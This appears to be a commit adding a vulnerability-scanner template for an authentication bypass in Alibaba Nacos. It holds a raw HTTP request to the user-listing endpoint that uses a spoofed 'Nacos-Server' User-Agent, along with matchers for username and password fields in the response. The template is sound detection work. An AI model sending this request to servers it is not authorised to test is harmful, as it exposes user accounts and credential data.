Merge pull request #730 from taielab/master

Add Nacos-auth-bypass
patch-1
PD-Team 2021-01-06 13:01:04 +05:30 committed by GitHub
commit b622b432e9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: unauthenticated-nacos-access
info:
name: Unauthenticated Nacos access
author: taielab
severity: critical
# References:
# - https://github.com/alibaba/nacos/issues/4593
requests:
- raw:
- |
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Nacos-Server
Content-Length: 2
matchers-condition: and
matchers:
- type: regex
regex:
- "username"
- "password"
- "totalCount"
condition: and
part: body
- type: status
status:
- 200